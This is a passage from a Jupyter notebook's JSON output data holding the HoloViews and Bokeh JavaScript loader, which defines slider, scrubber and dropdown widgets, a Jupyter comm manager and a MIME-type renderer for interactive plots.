$.data(this, \\\"next_vals\\\");\\n\",\n       \"    if (Object.keys(next_vals).length > 0) {\\n\",\n       \"      var new_vals = next_vals[dim_val];\\n\",\n       \"      var next_widget = $('#_anim_widget'+id+'_'+next_dim);\\n\",\n       \"      update_widget(next_widget, new_vals);\\n\",\n       \"    }\\n\",\n       \"    var widgets = HoloViews.index[plot_id]\\n\",\n       \"    if (widgets) {\\n\",\n       \"      widgets.set_frame(dim_val, dim_idx);\\n\",\n       \"    }\\n\",\n       \"  });\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"if (window.HoloViews === undefined) {\\n\",\n       \"  window.HoloViews = {}\\n\",\n       \"  window.PyViz = window.HoloViews\\n\",\n       \"} else if (window.PyViz === undefined) {\\n\",\n       \"  window.PyViz = window.HoloViews\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"var _namespace = {\\n\",\n       \"  init_slider: init_slider,\\n\",\n       \"  init_dropdown: init_dropdown,\\n\",\n       \"  comms: {},\\n\",\n       \"  comm_status: {},\\n\",\n       \"  index: {},\\n\",\n       \"  plot_index: {},\\n\",\n       \"  kernels: {},\\n\",\n       \"  receivers: {}\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"for (var k in _namespace) {\\n\",\n       \"  if (!(k in window.HoloViews)) {\\n\",\n       \"    window.HoloViews[k] = _namespace[k];\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"// Define Bokeh specific subclasses\\n\",\n       \"function BokehSelectionWidget() {\\n\",\n       \"  SelectionWidget.apply(this, arguments);\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"function BokehScrubberWidget() {\\n\",\n       \"  ScrubberWidget.apply(this, arguments);\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"// Let them inherit from the baseclasses\\n\",\n       \"BokehSelectionWidget.prototype = Object.create(SelectionWidget.prototype);\\n\",\n       \"BokehScrubberWidget.prototype = Object.create(ScrubberWidget.prototype);\\n\",\n       \"\\n\",\n       \"// Define methods to override on widgets\\n\",\n       \"var BokehMethods = {\\n\",\n       \"  update_cache : function(){\\n\",\n       \"    for (var index in this.frames) {\\n\",\n       \"      this.frames[index] = JSON.parse(this.frames[index]);\\n\",\n       \"    }\\n\",\n       \"  },\\n\",\n       \"  update : function(current){\\n\",\n       \"    if (current === undefined) {\\n\",\n       \"      return;\\n\",\n       \"    }\\n\",\n       \"    var data = this.frames[current];\\n\",\n       \"    if (data !== undefined) {\\n\",\n       \"      if (data.root in HoloViews.plot_index) {\\n\",\n       \"        var doc = HoloViews.plot_index[data.root].model.document;\\n\",\n       \"      } else {\\n\",\n       \"        var doc = Bokeh.index[data.root].model.document;\\n\",\n       \"      }\\n\",\n       \"      doc.apply_json_patch(data.content);\\n\",\n       \"    }\\n\",\n       \"  },\\n\",\n       \"  init_comms: function() {\\n\",\n       \"    if (Bokeh.protocol !== undefined) {\\n\",\n       \"      this.receiver = new Bokeh.protocol.Receiver()\\n\",\n       \"    } else {\\n\",\n       \"      this.receiver = null;\\n\",\n       \"    }\\n\",\n       \"    return HoloViewsWidget.prototype.init_comms.call(this);\\n\",\n       \"  },\\n\",\n       \"  process_msg : function(msg) {\\n\",\n       \"    if (this.plot_id in HoloViews.plot_index) {\\n\",\n       \"      var doc = HoloViews.plot_index[this.plot_id].model.document;\\n\",\n       \"    } else {\\n\",\n       \"      var doc = Bokeh.index[this.plot_id].model.document;\\n\",\n       \"    }\\n\",\n       \"    if (this.receiver === null) { return }\\n\",\n       \"    var receiver = this.receiver;\\n\",\n       \"    if (msg.buffers.length > 0) {\\n\",\n       \"      receiver.consume(msg.buffers[0].buffer)\\n\",\n       \"    } else {\\n\",\n       \"      receiver.consume(msg.content.data)\\n\",\n       \"    }\\n\",\n       \"    const comm_msg = receiver.message;\\n\",\n       \"    if ((comm_msg != null) && (doc != null)) {\\n\",\n       \"      doc.apply_json_patch(comm_msg.content, comm_msg.buffers)\\n\",\n       \"    }\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"// Extend Bokeh widgets with backend specific methods\\n\",\n       \"extend(BokehSelectionWidget.prototype, BokehMethods);\\n\",\n       \"extend(BokehScrubberWidget.prototype, BokehMethods);\\n\",\n       \"\\n\",\n       \"window.HoloViews.BokehSelectionWidget = BokehSelectionWidget\\n\",\n       \"window.HoloViews.BokehScrubberWidget = BokehScrubberWidget\\n\",\n       \"\\n\",\n       \"    function JupyterCommManager() {\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    JupyterCommManager.prototype.register_target = function(plot_id, comm_id, msg_handler) {\\n\",\n       \"      if (window.comm_manager || ((window.Jupyter !== undefined) && (Jupyter.notebook.kernel != null))) {\\n\",\n       \"        var comm_manager = window.comm_manager || Jupyter.notebook.kernel.comm_manager;\\n\",\n       \"        comm_manager.register_target(comm_id, function(comm) {\\n\",\n       \"          comm.on_msg(msg_handler);\\n\",\n       \"        });\\n\",\n       \"      } else if ((plot_id in window.PyViz.kernels) && (window.PyViz.kernels[plot_id])) {\\n\",\n       \"        window.PyViz.kernels[plot_id].registerCommTarget(comm_id, function(comm) {\\n\",\n       \"          comm.onMsg = msg_handler;\\n\",\n       \"        });\\n\",\n       \"      }\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    JupyterCommManager.prototype.get_client_comm = function(plot_id, comm_id, msg_handler) {\\n\",\n       \"      if (comm_id in window.PyViz.comms) {\\n\",\n       \"        return window.PyViz.comms[comm_id];\\n\",\n       \"      } else if (window.comm_manager || ((window.Jupyter !== undefined) && (Jupyter.notebook.kernel != null))) {\\n\",\n       \"        var comm_manager = window.comm_manager || Jupyter.notebook.kernel.comm_manager;\\n\",\n       \"        var comm = comm_manager.new_comm(comm_id, {}, {}, {}, comm_id);\\n\",\n       \"        if (msg_handler) {\\n\",\n       \"          comm.on_msg(msg_handler);\\n\",\n       \"        }\\n\",\n       \"      } else if ((plot_id in window.PyViz.kernels) && (window.PyViz.kernels[plot_id])) {\\n\",\n       \"        var comm = window.PyViz.kernels[plot_id].connectToComm(comm_id);\\n\",\n       \"        comm.open();\\n\",\n       \"        if (msg_handler) {\\n\",\n       \"          comm.onMsg = msg_handler;\\n\",\n       \"        }\\n\",\n       \"      }\\n\",\n       \"\\n\",\n       \"      window.PyViz.comms[comm_id] = comm;\\n\",\n       \"      return comm;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    window.PyViz.comm_manager = new JupyterCommManager();\\n\",\n       \"    \\n\",\n       \"\\n\",\n       \"var JS_MIME_TYPE = 'application/javascript';\\n\",\n       \"var HTML_MIME_TYPE = 'text/html';\\n\",\n       \"var EXEC_MIME_TYPE = 'application/vnd.holoviews_exec.v0+json';\\n\",\n       \"var CLASS_NAME = 'output';\\n\",\n       \"\\n\",\n       \"/**\\n\",\n       \" * Render data to the DOM node\\n\",\n       \" */\\n\",\n       \"function render(props, node) {\\n\",\n       \"  var div = document.createElement(\\\"div\\\");\\n\",\n       \"  var script = document.createElement(\\\"script\\\");\\n\",\n       \"  node.appendChild(div);\\n\",\n       \"  node.appendChild(script);\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"/**\\n\",\n       \" * Handle when a new output is added\\n\",\n       \" */\\n\",\n       \"function handle_add_output(event, handle) {\\n\",\n       \"  var output_area = handle.output_area;\\n\",\n       \"  var output = handle.output;\\n\",\n       \"  if (!output.data.hasOwnProperty(EXEC_MIME_TYPE)) {\\n\",\n       \"    return\\n\",\n       \"  }\\n\",\n       \"  var id = output.metadata[EXEC_MIME_TYPE][\\\"id\\\"];\\n\",\n       \"  var toinsert = output_area.element.find(\\\".\\\" + CLASS_NAME.split(' ')[0]);\\n\",\n       \"  if (id !== undefined) {\\n\",\n       \"    var nchildren = toinsert.length;\\n\",\n       \"    toinsert[nchildren-1].children[0].innerHTML = output.data[HTML_MIME_TYPE];\\n\",\n       \"    toinsert[nchildren-1].children[1].textContent = output.data[JS_MIME_TYPE];\\n\",\n       \"    output_area._hv_plot_id = id;\\n\",\n       \"    if ((window.Bokeh !== undefined) && (id in Bokeh.index)) {\\n\",\n       \"      PyViz.plot_index[id] = Bokeh.index[id];\\n\",\n       \"    } else {\\n\",\n       \"      PyViz.plot_index[id] = null;\\n\",\n       \"    }\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"/**\\n\",\n       \" * Handle when an output is cleared or removed\\n\",\n       \" */\\n\",\n       \"function handle_clear_output(event, handle) {\\n\",\n       \"  var id = handle.cell.output_area._hv_plot_id;\\n\",\n       \"  if ((id === undefined) || !(id in PyViz.plot_index)) { return; }\\n\",\n       \"  var comm = window.PyViz.comm_manager.get_client_comm(\\\"hv-extension-comm\\\", \\\"hv-extension-comm\\\", function () {});\\n\",\n       \"  if (comm !== null) {\\n\",\n       \"    comm.send({event_type: 'delete', 'id': id});\\n\",\n       \"  }\\n\",\n       \"  delete PyViz.plot_index[id];\\n\",\n       \"  if ((window.Bokeh !== undefined) & (id in window.Bokeh.index)) {\\n\",\n       \"    window.Bokeh.index[id].model.document.clear();\\n\",\n       \"    delete Bokeh.index[id];\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"/**\\n\",\n       \" * Handle kernel restart event\\n\",\n       \" */\\n\",\n       \"function handle_kernel_cleanup(event, handle) {\\n\",\n       \"  delete PyViz.comms[\\\"hv-extension-comm\\\"];\\n\",\n       \"  window.PyViz.plot_index = {}\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"/**\\n\",\n       \" * Handle update_display_data messages\\n\",\n       \" */\\n\",\n       \"function handle_update_output(event, handle) {\\n\",\n       \"  handle_clear_output(event, {cell: {output_area: handle.output_area}})\\n\",\n       \"  handle_add_output(event, handle)\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"function register_renderer(events, OutputArea) {\\n\",\n       \"  function append_mime(data, metadata, element) {\\n\",\n       \"    // create a DOM node to render to\\n\",\n       \"    var toinsert = this.create_output_subarea(\\n\",\n       \"    metadata,\\n\",\n       \"    CLASS_NAME,\\n\",\n       \"    EXEC_MIME_TYPE\\n\",\n       \"    );\\n\",\n       \"    this.keyboard_manager.register_events(toinsert);\\n\",\n       \"    // Render to node\\n\",\n       \"    var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\\n\",\n       \"    render(props, toinsert[0]);\\n\",\n       \"    element.append(toinsert);\\n\",\n       \"    return toinsert\\n\",\n       \"  }\\n\",\n       \"\\n\",\n       \"  events.on('output_added.OutputArea', handle_add_output);\\n\",\n       \"  events.on('output_updated.OutputArea', handle_update_output);\\n\",\n       \"  events.on('clear_output.CodeCell', handle_clear_output);\\n\",\n       \"  events.on('delete.Cell', handle_clear_output);\\n\",\n       \"  events.on('kernel_ready.Kernel', handle_kernel_cleanup);\\n\",\n       \"\\n\",\n       \"  OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\\n\",\n       \"    safe: true,\\n\",\n       \"    index: 0\\n\",\n       \"  });\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"if (window.Jupyter !== undefined) {\\n\",\n       \"  try {\\n\",\n       \"    var events = require('base/js/events');\\n\",\n       \"    var OutputArea = require('notebook/js/outputarea').OutputArea;\\n\",\n       \"    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\\n\",\n       \"      register_renderer(events, OutputArea);\\n\",\n       \"    }\\n\",\n       \"  } catch(err) {\\n\",\n       \"  }\\n\",\n       \"}\\n\"\n      ],\n      \"application/vnd.holoviews_load.v0+json\": \"function HoloViewsWidget() {\\n}\\n\\nHoloViewsWidget.prototype.init_slider = function(init_val){\\n  if(this.load_json) {\\n    this.from_json()\\n  } else {\\n    this.update_cache();\\n  }\\n}\\n\\nHoloViewsWidget.prototype.populate_cache = function(idx){\\n  this.cache[idx].innerHTML = this.frames[idx];\\n  if (this.embed) {\\n    delete this.frames[idx];\\n  }\\n}\\n\\nHoloViewsWidget.prototype.process_error = function(msg){\\n}\\n\\nHoloViewsWidget.prototype.from_json = function() {\\n  var data_url = this.json_path + this.id + '.json';\\n  $.getJSON(data_url, $.proxy(function(json_data) {\\n    this.frames = json_data;\\n    this.update_cache();\\n    this.update(0);\\n  }, this));\\n}\\n\\nHoloViewsWidget.prototype.dynamic_update = function(current){\\n  if (current === undefined) {\\n    return\\n  }\\n  this.current = current;\\n  if (this.comm) {\\n    var msg = {comm_id: this.id+'_client', content: current}\\n    this.comm.send(msg);\\n  }\\n}\\n\\nHoloViewsWidget.prototype.update_cache = function(force){\\n  var frame_len = Object.keys(this.frames).length;\\n  for (var i=0; i<frame_len; i++) {\\n    if(!this.load_json || this.dynamic)  {\\n      var frame = Object.keys(this.frames)[i];\\n    } else {\\n      var frame = i;\\n    }\\n    if(!(frame in this.cache) || force) {\\n      if ((frame in this.cache) && force) { this.cache[frame].remove() }\\n      var div = document.createElement(\\\"div\\\");\\n      var parent = document.getElementById(\\\"_anim_img\\\"+this.id);\\n      div.style.display = \\\"none\\\";\\n      parent.appendChild(div)\\n      this.cache[frame] = div;\\n      var cache_id = \\\"_anim_img\\\"+this.id+\\\"_\\\"+frame;\\n      this.populate_cache(frame);\\n    }\\n  }\\n}\\n\\nHoloViewsWidget.prototype.update = function(current){\\n  if(current in this.cache) {\\n    for (var index in this.cache) {\\n      this.cache[index].style.display = \\\"none\\\";\\n    }\\n    this.cache[current].style.display = \\\"\\\";\\n    this.wait = false;\\n  }\\n}\\n\\nHoloViewsWidget.prototype.init_comms = function() {\\n  var that = this\\n  HoloViews.comm_manager.register_target(this.plot_id, this.id, function (msg) { that.process_msg(msg) })\\n  if (!this.cached || this.dynamic) {\\n    function ack_callback(msg) {\\n      msg = JSON.parse(msg.content.data);\\n      var comm_id = msg[\\\"comm_id\\\"]\\n      var comm_status = HoloViews.comm_status[comm_id];\\n      if (that.queue.length > 0) {\\n        that.time = Date.now();\\n        that.dynamic_update(that.queue[that.queue.length-1]);\\n        that.queue = [];\\n      } else {\\n        that.wait = false;\\n      }\\n      if ((msg.msg_type == \\\"Ready\\\") && msg.content) {\\n        console.log(\\\"Python callback returned following output:\\\", msg.content);\\n      } else if (msg.msg_type == \\\"Error\\\") {\\n        console.log(\\\"Python failed with the following traceback:\\\", msg['traceback'])\\n      }\\n    }\\n    var comm = HoloViews.comm_manager.get_client_comm(this.plot_id, this.id+'_client', ack_callback);\\n    return comm\\n  }\\n}\\n\\nHoloViewsWidget.prototype.process_msg = function(msg) {\\n}\\n\\nfunction SelectionWidget(frames, id, slider_ids, keyMap, dim_vals, notFound, load_json, mode, cached, json_path, dynamic, plot_id){\\n  this.frames = frames;\\n  this.id = id;\\n  this.plot_id = plot_id;\\n  this.slider_ids = slider_ids;\\n  this.keyMap = keyMap\\n  this.current_frame = 0;\\n  this.current_vals = dim_vals;\\n  this.load_json = load_json;\\n  this.mode = mode;\\n  this.notFound = notFound;\\n  this.cached = cached;\\n  this.dynamic = dynamic;\\n  this.cache = {};\\n  this.json_path = json_path;\\n  this.init_slider(this.current_vals[0]);\\n  this.queue = [];\\n  this.wait = false;\\n  if (!this.cached || this.dynamic) {\\n    this.comm = this.init_comms();\\n  }\\n}\\n\\nSelectionWidget.prototype = new HoloViewsWidget;\\n\\n\\nSelectionWidget.prototype.get_key = function(current_vals) {\\n  var key = \\\"(\\\";\\n  for (var i=0; i<this.slider_ids.length; i++)\\n  {\\n    var val = this.current_vals[i];\\n    if (!(typeof val === 'string')) {\\n      if (val % 1 === 0) { val = val.toFixed(1); }\\n      else { val = val.toFixed(10); val = val.slice(0, val.length-1);}\\n    }\\n    key += \\\"'\\\" + val + \\\"'\\\";\\n    if(i != this.slider_ids.length-1) { key += ', ';}\\n    else if(this.slider_ids.length == 1) { key += ',';}\\n  }\\n  key += \\\")\\\";\\n  return this.keyMap[key];\\n}\\n\\nSelectionWidget.prototype.set_frame = function(dim_val, dim_idx){\\n  this.current_vals[dim_idx] = dim_val;\\n  var key = this.current_vals;\\n  if (!this.dynamic) {\\n    key = this.get_key(key)\\n  }\\n  if (this.dynamic || !this.cached) {\\n    if ((this.time !== undefined) && ((this.wait) && ((this.time + 10000) > Date.now()))) {\\n      this.queue.push(key);\\n      return\\n    }\\n    this.queue = [];\\n    this.time = Date.now();\\n    this.current_frame = key;\\n    this.wait = true;\\n    this.dynamic_update(key)\\n  } else if (key !== undefined) {\\n    this.update(key)\\n  }\\n}\\n\\n\\n/* Define the ScrubberWidget class */\\nfunction ScrubberWidget(frames, num_frames, id, interval, load_json, mode, cached, json_path, dynamic, plot_id){\\n  this.slider_id = \\\"_anim_slider\\\" + id;\\n  this.loop_select_id = \\\"_anim_loop_select\\\" + id;\\n  this.id = id;\\n  this.plot_id = plot_id;\\n  this.interval = interval;\\n  this.current_frame = 0;\\n  this.direction = 0;\\n  this.dynamic = dynamic;\\n  this.timer = null;\\n  this.load_json = load_json;\\n  this.mode = mode;\\n  this.cached = cached;\\n  this.frames = frames;\\n  this.cache = {};\\n  this.length = num_frames;\\n  this.json_path = json_path;\\n  document.getElementById(this.slider_id).max = this.length - 1;\\n  this.init_slider(0);\\n  this.wait = false;\\n  this.queue = [];\\n  if (!this.cached || this.dynamic) {\\n    this.comm = this.init_comms()\\n  }\\n}\\n\\nScrubberWidget.prototype = new HoloViewsWidget;\\n\\nScrubberWidget.prototype.set_frame = function(frame){\\n  this.current_frame = frame;\\n  var widget = document.getElementById(this.slider_id);\\n  if (widget === null) {\\n    this.pause_animation();\\n    return\\n  }\\n  widget.value = this.current_frame;\\n  if (this.dynamic || !this.cached) {\\n    if ((this.time !== undefined) && ((this.wait) && ((this.time + 10000) > Date.now()))) {\\n      this.queue.push(frame);\\n      return\\n    }\\n    this.queue = [];\\n    this.time = Date.now();\\n    this.wait = true;\\n    this.dynamic_update(frame)\\n  } else {\\n    this.update(frame)\\n  }\\n}\\n\\nScrubberWidget.prototype.get_loop_state = function(){\\n  var button_group = document[this.loop_select_id].state;\\n  for (var i = 0; i < button_group.length; i++) {\\n    var button = button_group[i];\\n    if (button.checked) {\\n      return button.value;\\n    }\\n  }\\n  return undefined;\\n}\\n\\n\\nScrubberWidget.prototype.next_frame = function() {\\n  this.set_frame(Math.min(this.length - 1, this.current_frame + 1));\\n}\\n\\nScrubberWidget.prototype.previous_frame = function() {\\n  this.set_frame(Math.max(0, this.current_frame - 1));\\n}\\n\\nScrubberWidget.prototype.first_frame = function() {\\n  this.set_frame(0);\\n}\\n\\nScrubberWidget.prototype.last_frame = function() {\\n  this.set_frame(this.length - 1);\\n}\\n\\nScrubberWidget.prototype.slower = function() {\\n  this.interval /= 0.7;\\n  if(this.direction > 0){this.play_animation();}\\n  else if(this.direction < 0){this.reverse_animation();}\\n}\\n\\nScrubberWidget.prototype.faster = function() {\\n  this.interval *= 0.7;\\n  if(this.direction > 0){this.play_animation();}\\n  else if(this.direction < 0){this.reverse_animation();}\\n}\\n\\nScrubberWidget.prototype.anim_step_forward = function() {\\n  if(this.current_frame < this.length - 1){\\n    this.next_frame();\\n  }else{\\n    var loop_state = this.get_loop_state();\\n    if(loop_state == \\\"loop\\\"){\\n      this.first_frame();\\n    }else if(loop_state == \\\"reflect\\\"){\\n      this.last_frame();\\n      this.reverse_animation();\\n    }else{\\n      this.pause_animation();\\n      this.last_frame();\\n    }\\n  }\\n}\\n\\nScrubberWidget.prototype.anim_step_reverse = function() {\\n  if(this.current_frame > 0){\\n    this.previous_frame();\\n  } else {\\n    var loop_state = this.get_loop_state();\\n    if(loop_state == \\\"loop\\\"){\\n      this.last_frame();\\n    }else if(loop_state == \\\"reflect\\\"){\\n      this.first_frame();\\n      this.play_animation();\\n    }else{\\n      this.pause_animation();\\n      this.first_frame();\\n    }\\n  }\\n}\\n\\nScrubberWidget.prototype.pause_animation = function() {\\n  this.direction = 0;\\n  if (this.timer){\\n    clearInterval(this.timer);\\n    this.timer = null;\\n  }\\n}\\n\\nScrubberWidget.prototype.play_animation = function() {\\n  this.pause_animation();\\n  this.direction = 1;\\n  var t = this;\\n  if (!this.timer) this.timer = setInterval(function(){t.anim_step_forward();}, this.interval);\\n}\\n\\nScrubberWidget.prototype.reverse_animation = function() {\\n  this.pause_animation();\\n  this.direction = -1;\\n  var t = this;\\n  if (!this.timer) this.timer = setInterval(function(){t.anim_step_reverse();}, this.interval);\\n}\\n\\nfunction extend(destination, source) {\\n  for (var k in source) {\\n    if (source.hasOwnProperty(k)) {\\n      destination[k] = source[k];\\n    }\\n  }\\n  return destination;\\n}\\n\\nfunction update_widget(widget, values) {\\n  if (widget.hasClass(\\\"ui-slider\\\")) {\\n    widget.slider('option', {\\n      min: 0,\\n      max: values.length-1,\\n      dim_vals: values,\\n      value: 0,\\n      dim_labels: values\\n    })\\n    widget.slider('option', 'slide').call(widget, event, {value: 0})\\n  } else {\\n    widget.empty();\\n    for (var i=0; i<values.length; i++){\\n      widget.append($(\\\"<option>\\\", {\\n        value: i,\\n        text: values[i]\\n      }))\\n    };\\n    widget.data('values', values);\\n    widget.data('value', 0);\\n    widget.trigger(\\\"change\\\");\\n  };\\n}\\n\\nfunction init_slider(id, plot_id, dim, values, next_vals, labels, dynamic, step, value, next_dim,\\n                     dim_idx, delay, jQueryUI_CDN, UNDERSCORE_CDN) {\\n  // Slider JS Block START\\n  function loadcssfile(filename){\\n    var fileref=document.createElement(\\\"link\\\")\\n    fileref.setAttribute(\\\"rel\\\", \\\"stylesheet\\\")\\n    fileref.setAttribute(\\\"type\\\", \\\"text/css\\\")\\n    fileref.setAttribute(\\\"href\\\", filename)\\n    document.getElementsByTagName(\\\"head\\\")[0].appendChild(fileref)\\n  }\\n  loadcssfile(\\\"https://code.jquery.com/ui/1.10.4/themes/smoothness/jquery-ui.css\\\");\\n  /* Check if jQuery and jQueryUI have been loaded\\n     otherwise load with require.js */\\n  var jQuery = window.jQuery,\\n    // check for old versions of jQuery\\n    oldjQuery = jQuery && !!jQuery.fn.jquery.match(/^1\\\\.[0-4](\\\\.|$)/),\\n    jquery_path = '',\\n    paths = {},\\n    noConflict;\\n  var jQueryUI = jQuery.ui;\\n  // check for jQuery\\n  if (!jQuery || oldjQuery) {\\n    // load if it's not available or doesn't meet min standards\\n    paths.jQuery = jQuery;\\n    noConflict = !!oldjQuery;\\n  } else {\\n    // register the current jQuery\\n    define('jquery', [], function() { return jQuery; });\\n  }\\n  if (!jQueryUI) {\\n    paths.jQueryUI = jQueryUI_CDN.slice(null, -3);\\n  } else {\\n    define('jQueryUI', [], function() { return jQuery.ui; });\\n  }\\n  paths.underscore = UNDERSCORE_CDN.slice(null, -3);\\n  var jquery_require = {\\n    paths: paths,\\n    shim: {\\n      \\\"jQueryUI\\\": {\\n        exports:\\\"$\\\",\\n        deps: ['jquery']\\n      },\\n      \\\"underscore\\\": {\\n        exports: '_'\\n      }\\n    }\\n  }\\n  require.config(jquery_require);\\n  require([\\\"jQueryUI\\\", \\\"underscore\\\"], function(jUI, _){\\n    if (noConflict) $.noConflict(true);\\n    var vals = values;\\n    if (dynamic && vals.constructor === Array) {\\n      var default_value = parseFloat(value);\\n      var min = parseFloat(vals[0]);\\n      var max = parseFloat(vals[vals.length-1]);\\n      var wstep = step;\\n      var wlabels = [default_value];\\n      var init_label = default_value;\\n    } else {\\n      var min = 0;\\n      if (dynamic) {\\n        var max = Object.keys(vals).length - 1;\\n        var init_label = labels[value];\\n        var default_value = values[value];\\n      } else {\\n        var max = vals.length - 1;\\n        var init_label = labels[value];\\n        var default_value = value;\\n      }\\n      var wstep = 1;\\n      var wlabels = labels;\\n    }\\n    function adjustFontSize(text) {\\n      var width_ratio = (text.parent().width()/8)/text.val().length;\\n      var size = Math.min(0.9, Math.max(0.6, width_ratio))+'em';\\n      text.css('font-size', size);\\n    }\\n    var slider = $('#_anim_widget'+id+'_'+dim);\\n    slider.slider({\\n      animate: \\\"fast\\\",\\n      min: min,\\n      max: max,\\n      step: wstep,\\n      value: default_value,\\n      dim_vals: vals,\\n      dim_labels: wlabels,\\n      next_vals: next_vals,\\n      slide: function(event, ui) {\\n        var vals = slider.slider(\\\"option\\\", \\\"dim_vals\\\");\\n        var next_vals = slider.slider(\\\"option\\\", \\\"next_vals\\\");\\n        var dlabels = slider.slider(\\\"option\\\", \\\"dim_labels\\\");\\n        if (dynamic) {\\n          var dim_val = ui.value;\\n          if (vals.constructor === Array) {\\n            var label = ui.value;\\n          } else {\\n            var label = dlabels[ui.value];\\n          }\\n        } else {\\n          var dim_val = vals[ui.value];\\n          var label = dlabels[ui.value];\\n        }\\n        var text = $('#textInput'+id+'_'+dim);\\n        text.val(label);\\n        adjustFontSize(text);\\n        HoloViews.index[plot_id].set_frame(dim_val, dim_idx);\\n        if (Object.keys(next_vals).length > 0) {\\n          var new_vals = next_vals[dim_val];\\n          var next_widget = $('#_anim_widget'+id+'_'+next_dim);\\n          update_widget(next_widget, new_vals);\\n        }\\n      }\\n    });\\n    slider.keypress(function(event) {\\n      if (event.which == 80 || event.which == 112) {\\n        var start = slider.slider(\\\"option\\\", \\\"value\\\");\\n        var stop =  slider.slider(\\\"option\\\", \\\"max\\\");\\n        for (var i=start; i<=stop; i++) {\\n          var delay = i*delay;\\n          $.proxy(function doSetTimeout(i) { setTimeout($.proxy(function() {\\n            var val = {value:i};\\n            slider.slider('value',i);\\n            slider.slider(\\\"option\\\", \\\"slide\\\")(null, val);\\n          }, slider), delay);}, slider)(i);\\n        }\\n      }\\n      if (event.which == 82 || event.which == 114) {\\n        var start = slider.slider(\\\"option\\\", \\\"value\\\");\\n        var stop =  slider.slider(\\\"option\\\", \\\"min\\\");\\n        var count = 0;\\n        for (var i=start; i>=stop; i--) {\\n          var delay = count*delay;\\n          count = count + 1;\\n          $.proxy(function doSetTimeout(i) { setTimeout($.proxy(function() {\\n            var val = {value:i};\\n            slider.slider('value',i);\\n            slider.slider(\\\"option\\\", \\\"slide\\\")(null, val);\\n          }, slider), delay);}, slider)(i);\\n        }\\n      }\\n    });\\n    var textInput = $('#textInput'+id+'_'+dim)\\n    textInput.val(init_label);\\n    adjustFontSize(textInput);\\n  });\\n}\\n\\nfunction init_dropdown(id, plot_id, dim, vals, value, next_vals, labels, next_dim, dim_idx, dynamic) {\\n  var widget = $(\\\"#_anim_widget\\\"+id+'_'+dim);\\n  widget.data('values', vals)\\n  for (var i=0; i<vals.length; i++){\\n    if (dynamic) {\\n      var val = vals[i];\\n    } else {\\n      var val = i;\\n    }\\n    widget.append($(\\\"<option>\\\", {\\n      value: val,\\n      text: labels[i]\\n    }));\\n  };\\n  widget.data(\\\"next_vals\\\", next_vals);\\n  widget.val(value);\\n  widget.on('change', function(event, ui) {\\n    if (dynamic) {\\n      var dim_val = parseInt(this.value);\\n    } else {\\n      var dim_val = $.data(this, 'values')[this.value];\\n    }\\n    var next_vals = $.data(this, \\\"next_vals\\\");\\n    if (Object.keys(next_vals).length > 0) {\\n      var new_vals = next_vals[dim_val];\\n      var next_widget = $('#_anim_widget'+id+'_'+next_dim);\\n      update_widget(next_widget, new_vals);\\n    }\\n    var widgets = HoloViews.index[plot_id]\\n    if (widgets) {\\n      widgets.set_frame(dim_val, dim_idx);\\n    }\\n  });\\n}\\n\\n\\nif (window.HoloViews === undefined) {\\n  window.HoloViews = {}\\n  window.PyViz = window.HoloViews\\n} else if (window.PyViz === undefined) {\\n  window.PyViz = window.HoloViews\\n}\\n\\n\\nvar _namespace = {\\n  init_slider: init_slider,\\n  init_dropdown: init_dropdown,\\n  comms: {},\\n  comm_status: {},\\n  index: {},\\n  plot_index: {},\\n  kernels: {},\\n  receivers: {}\\n}\\n\\nfor (var k in _namespace) {\\n  if (!(k in window.HoloViews)) {\\n    window.HoloViews[k] = _namespace[k];\\n  }\\n}\\n\\n// Define Bokeh specific subclasses\\nfunction BokehSelectionWidget() {\\n  SelectionWidget.apply(this, arguments);\\n}\\n\\nfunction BokehScrubberWidget() {\\n  ScrubberWidget.apply(this, arguments);\\n}\\n\\n// Let them inherit from the baseclasses\\nBokehSelectionWidget.prototype = Object.create(SelectionWidget.prototype);\\nBokehScrubberWidget.prototype = Object.create(ScrubberWidget.prototype);\\n\\n// Define methods to override on widgets\\nvar BokehMethods = {\\n  update_cache : function(){\\n    for (var index in this.frames) {\\n      this.frames[index] = JSON.parse(this.frames[index]);\\n    }\\n  },\\n  update : function(current){\\n    if (current === undefined) {\\n      return;\\n    }\\n    var data = this.frames[current];\\n    if (data !== undefined) {\\n      if (data.root in HoloViews.plot_index) {\\n        var doc = HoloViews.plot_index[data.root].model.document;\\n      } else {\\n        var doc = Bokeh.index[data.root].model.document;\\n      }\\n      doc.apply_json_patch(data.content);\\n    }\\n  },\\n  init_comms: function() {\\n    if (Bokeh.protocol !== undefined) {\\n      this.receiver = new Bokeh.protocol.Receiver()\\n    } else {\\n      this.receiver = null;\\n    }\\n    return HoloViewsWidget.prototype.init_comms.call(this);\\n  },\\n  process_msg : function(msg) {\\n    if (this.plot_id in HoloViews.plot_index) {\\n      var doc = HoloViews.plot_index[this.plot_id].model.document;\\n    } else {\\n      var doc = Bokeh.index[this.plot_id].model.document;\\n    }\\n    if (this.receiver === null) { return }\\n    var receiver = this.receiver;\\n    if (msg.buffers.length > 0) {\\n      receiver.consume(msg.buffers[0].buffer)\\n    } else {\\n      receiver.consume(msg.content.data)\\n    }\\n    const comm_msg = receiver.message;\\n    if ((comm_msg != null) && (doc != null)) {\\n      doc.apply_json_patch(comm_msg.content, comm_msg.buffers)\\n    }\\n  }\\n}\\n\\n// Extend Bokeh widgets with backend specific methods\\nextend(BokehSelectionWidget.prototype, BokehMethods);\\nextend(BokehScrubberWidget.prototype, 